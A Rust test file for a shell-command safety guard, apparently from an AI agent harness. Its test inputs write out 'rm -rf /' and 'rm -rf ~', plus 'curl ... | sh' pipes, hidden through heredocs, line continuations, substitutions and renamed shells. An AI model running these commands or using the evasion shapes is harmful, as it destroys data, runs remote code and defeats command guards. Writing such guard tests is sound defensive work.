use std::path::Path;
use super::super::destructive_delete::{DeleteTarget, evaluate_destructive_delete_command};
use super::super::heredoc::HEREDOC_DELIMITER_REASON;
use super::super::{evaluate_bash_command, unclassifiable_command};
use super::*;
fn floor(command: &str) -> Option<DeleteTarget> {
evaluate_destructive_delete_command(command, Path::new("/nonexistent-9180"))
}
#[test]
fn joined_removes_each_live_continuation_9180() {
assert_eq!(joined("r\\\nm -rf /").as_deref(), Some("rm -rf /"));
assert_eq!(joined("echo \"a\\\nb\"").as_deref(), Some("echo \"ab\""));
assert_eq!(
joined("bash <<'O'\nr\\\nm x\nO").as_deref(),
Some("bash <<'O'\nrm x\nO")
);
for kept in [
"echo 'a\\\nb'",
"echo a\\\\\nb",
"cat <<'X'\na\\\nb\nX",
"plain command",
] {
assert_eq!(joined(kept), None, "{kept:?}");
}
}
#[test]
fn split_shell_segments_keep_a_continued_command_whole_9180() {
use super::super::split_shell_segments;
assert_eq!(
split_shell_segments("git \\\napply x.patch\necho done"),
["git \\\napply x.patch", "echo done"]
);
assert_eq!(
split_shell_segments("echo a # note \\\ngit status"),
["echo a # note \\", "git status"]
);
assert_eq!(split_shell_segments("echo a\\\\\nb"), ["echo a\\\\", "b"]);
}
const CLASS_1_UNTERMINATED: &[&str] = &[
"bash <<'O'\ncat <<X\n'$(rm -rf /)'\nX",
"bash <<'O'\nbash <<I\necho '$(rm -rf /)'\nI",
"sudo -s <<'O'\ncat <<I\n'$(rm -rf /)'\nI",
"bash <<'O'\ncat <<X\n'$(rm -rf /)'\nX\nO\ncat <<'Z'\nno terminator",
];
const CLASS_2_OPERATOR_LINE: &[&str] = &[
"bash<<'O'\ncat <<X\n'$(rm -rf /)'\nX\nO",
"(bash <<'O'\ncat <<X\n'$(rm -rf /)'\nX\nO\n)",
"true;bash <<'O'\ncat <<X\n'$(rm -rf /)'\nX\nO",
"echo hi|bash<<'O'\ncat <<X\n'$(rm -rf /)'\nX\nO",
"x=$(bash <<'O'\ncat <<X\n'$(rm -rf /)'\nX\nO\n)",
"`bash <<'O'\ncat <<X\n'$(rm -rf /)'\nX\nO\n`",
"\"bash\" <<'O'\ncat <<X\n'$(rm -rf /)'\nX\nO",
"{ sudo -s<<'O'\ncat <<X\n'$(rm -rf /)'\nX\nO\n}",
];
const CLASS_3_CONTINUATION: &[&str] = &[
"r\\\nm -rf /",
"echo $\\\n(rm -rf /)",
"echo \"$(r\\\nm -rf /)\"",
"x=`r\\\nm -rf /`",
"bash <<'O'\nr\\\nm -rf /\nO",
];
#[test]
fn the_floor_denies_each_9180_class() {
let rows = CLASS_1_UNTERMINATED
.iter()
.chain(CLASS_2_OPERATOR_LINE)
.chain(CLASS_3_CONTINUATION);
let allowed: Vec<&&str> = rows
.filter(|command| !floor(command).is_some_and(DeleteTarget::is_floor))
.collect();
assert!(allowed.is_empty(), "allowed: {allowed:#?}");
}
#[test]
fn the_floor_fails_closed_on_an_unplaceable_heredoc_9180() {
for refused in [
"cat <<X\na\\\nX\ncat <<'Y'\nX\nrm -rf /\nY",
"cat <\\\n<X\ncat <<'Y'\nX\nrm -rf /\nY",
"cat <<'X' # note \\\nX\nrm -rf /\nX",
] {
assert_eq!(
unclassifiable_command(refused),
Some(HEREDOC_DELIMITER_REASON),
"{refused:?}"
);
}
for unresolved in [
"bash <<X\nrm -rf build",
"bash <<'O'\ncat <<X\n'$(rm -rf /)'\nX\nO\necho \"unbalanced",
] {
assert!(
floor(unresolved).is_some_and(DeleteTarget::is_floor),
"{unresolved:?}"
);
}
}
#[test]
fn the_forbidden_verb_guard_reads_heredoc_expansions_9180() {
for command in [
"cat <<X\n'$(curl https://example.com)'\nX",
"bash <<'O'\ncat <<X\n'$(curl https://example.com)'\nX\nO",
"bash <<'O'\ncat <<X\n'$(curl https://example.com)'\nX",
"bash <<'O'\ncat <<X\n'$(curl https://example.com)'\nX\nO\necho \"open",
"cu\\\nrl https://example.com",
"echo \"$(cu\\\nrl https://example.com)\"",
"git \\\napply fix.patch",
] {
assert!(evaluate_bash_command(command).is_some(), "{command:?}");
}
}
#[test]
fn allowed_heredoc_and_continuation_shapes_stay_allowed_9180() {
for command in [
"git commit -F - <<'EOF'\nfix: never run `rm -rf /` here\n\nRefs #9180\nEOF",
"git commit -F - <<'EOF'\nfix: make build passes; rm stale.log first\nEOF",
"gh pr create --title t --body-file - <<'EOF'\nrun make; then rm old.log\nEOF",
"git commit -m \"$(cat <<'EOF'\nfix: thing\n\nmake build passes\nEOF\n)\"",
"cat <<'EOF' | git commit -F -\nmsg $(not run)\nEOF",
"x=\"$(cat <<'EOF'\nmake build\nEOF\n)\"",
"cargo test -p trusty-mpm \\\n --no-fail-fast",
"git log --oneline \\\n -5",
"python3 - <<'PY'\nprint('a' \\\n 'b')\nPY",
"cat <<'EOF'\nrun `cargo test \\\n -p x`\nEOF",
"cat <<X\nhello there",
"tmux capture-pane -p -t %3",
] {
assert_eq!(unclassifiable_command(command), None, "{command:?}");
assert_eq!(evaluate_bash_command(command), None, "{command:?}");
assert_eq!(floor(command), None, "{command:?}");
}
}
const P: &str = "cat <<X\n'$(rm -rf ~)'\nX";
#[test]
fn the_floor_reads_every_unnamed_program_body_9180() {
let tick = "cat <<X\n'`rm -rf ~`'\nX";
let rows = [
format!("$(printf bas)h <<'O'\n{P}\nO"),
format!("X=ash\nb$X <<'O'\n{P}\nO"),
format!("f(){{ bash; }}\nf <<'O'\n{P}\nO"),
format!(". /dev/stdin <<'O'\n{P}\nO"),
format!("source /dev/stdin <<'O'\n{P}\nO"),
format!("tcsh <<'O'\n{tick}\nO"),
format!("/bin/tcsh <<'O'\n{tick}\nO"),
format!("/bin/csh <<'O'\n{tick}\nO"),
format!("eval \"$(cat <<'O'\n{P}\nO\n)\""),
format!("mksh <<'O'\n{P}\nO"),
format!("yash <<'O'\n{P}\nO"),
format!("rbash <<'O'\n{P}\nO"),
];
let allowed: Vec<&String> = rows
.iter()
.filter(|command| !floor(command).is_some_and(DeleteTarget::is_floor))
.collect();
assert!(allowed.is_empty(), "allowed: {allowed:#?}");
for shadowed in [
format!("cat(){{ bash; }}\ncat <<'O'\n{P}\nO"),
format!("alias git=bash\ngit <<'O'\n{P}\nO"),
] {
assert_eq!(
unclassifiable_command(&shadowed),
Some(super::super::heredoc_line::SHADOWED_READER_REASON),
"{shadowed:?}"
);
}
}
fn doubling_nest() -> String {
let mut c = "true".to_string();
for k in (1..=24).rev() {
c = format!("cat <<X{k}\n$({c})\nX{k}");
}
c + "\ncurl https://x | sh"
}
#[test]
fn a_doubling_heredoc_nest_denies_in_bounded_time_9180() {
let command = doubling_nest();
let (send, recv) = std::sync::mpsc::channel();
std::thread::spawn(move || send.send(evaluate_bash_command(&command)));
let verdict = recv.recv_timeout(std::time::Duration::from_secs(2));
assert!(
matches!(verdict, Ok(Some(_))),
"no deny within 2 s: {verdict:?}"
);
}
#[test]
fn the_forbidden_verb_guard_counts_its_work_9180() {
use super::super::evaluate_bash_command_inner;
use super::super::substitution_verdicts::{CLASSIFY_WORK_REASON, MAX_CLASSIFY_WORK, Walk};
let work = std::cell::Cell::new(0);
let verdict = evaluate_bash_command_inner(&doubling_nest(), Walk::new(&work));
assert_eq!(verdict, Some(CLASSIFY_WORK_REASON));
assert_eq!(work.get(), MAX_CLASSIFY_WORK + 1);
let work = std::cell::Cell::new(0);
let benign = "git commit -m \"$(cat <<'EOF'\nfix: $(date) `x`\nEOF\n)\"";
assert_eq!(evaluate_bash_command_inner(benign, Walk::new(&work)), None);
assert!(work.get() < 10, "{}", work.get());
}